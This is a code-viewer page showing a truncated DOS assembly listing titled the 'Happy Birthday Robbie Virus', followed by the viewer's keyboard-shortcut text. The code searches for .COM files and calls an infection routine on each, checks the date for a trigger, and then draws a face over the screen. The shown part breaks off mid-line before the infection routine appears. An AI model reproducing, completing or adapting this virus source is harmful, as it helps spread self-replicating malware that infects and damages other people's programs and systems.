📄 malmseys.asm
字号:
;
;Happy Birthday Robbie Virus
;
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
code_length equ finish - start
lf equ 0Ah
cr equ 0Dh
start label near
id_bytes proc near
mov si,si ; Serves no purpose: our ID
id_bytes endp
main: mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds attribute mask
mov dx,offset com_spec ; DX points to "*.COM"
file_loop: int 021h
jc exit_virus ; If there are no files, go
; off
call infect_file ; Try to infect found file
jne exit_virus ; Exit if successful
mov ah,04Fh ; DOS find next file function
jmp short file_loop ; Repeat until out of files
exit_virus:
mov ah,2Ah
int 21h
cmp dl,3
jne dos_drop
cmp dh,10
je eat_screen
dos_drop: int 20h
eat_screen: mov byte ptr count,0
mov ah,00
mov al,03
int 10h
mov ah,08
int 10h
mov byte ptr count2,al
cmp byte ptr count2,00
jne draw_face
mov byte ptr count2,0fh
draw_face:
mov ah,01 ;set cursor type
mov cl,00
mov ch,40h
int 10h
mov cl,00
mov dl,4fh
mov ah,06 ;clear the display window
mov al,00
mov bh,0fh ;blank line attribs
mov ch,00 ;starting at upper left corner
mov cl,00 ; to
mov dh,00 ;row 0
mov dl,4fh ;column 4Fh
int 10h
mov ah,02 ;set cursor position
mov dh,00 ;to row 0,
mov dl,1fh ;column 1Fh
mov bh,00 ;in graphics mode
int 10h
mov dx,offset eyes ;get the eyes
mov ah,09 ;and draw them to screen
mov bl,0fh ;this colour
int 21h
mov ah,02 ;reposition character
mov dh,01 ;to row 1,
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character and attrib
mov al,0dch ;character shape
mov bl,0fh ;character colour
mov cx,50h ;number of characters.
int 10h
mov ah,02 ;reposition cursor
mov dh,18h ;to row 18h
mov dl,00 ;column 0
int 10h
mov ah,09 ;write character & attribute
mov al,0dfh ;character shape
mov bl,0fh ;character colour
mov cx,0050h ;number of characters
int 10h
mov dl,00 ;back to column 0
make_teeth:
mov ah,02 ;set cursor position
mov dh,02 ;to row 2
int 10h
mov ah,09 ;write the character
mov al,55h ; "U" for one top tooth
mov bl,0fh ; colour code
mov cx,1 ;only one tooth
int 10h
mov ah,02
mov dh,17h ;row 17h
inc dl ;increase column number
int 10h
mov ah,09 ;write a character there.
mov al,0efh ;character "
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -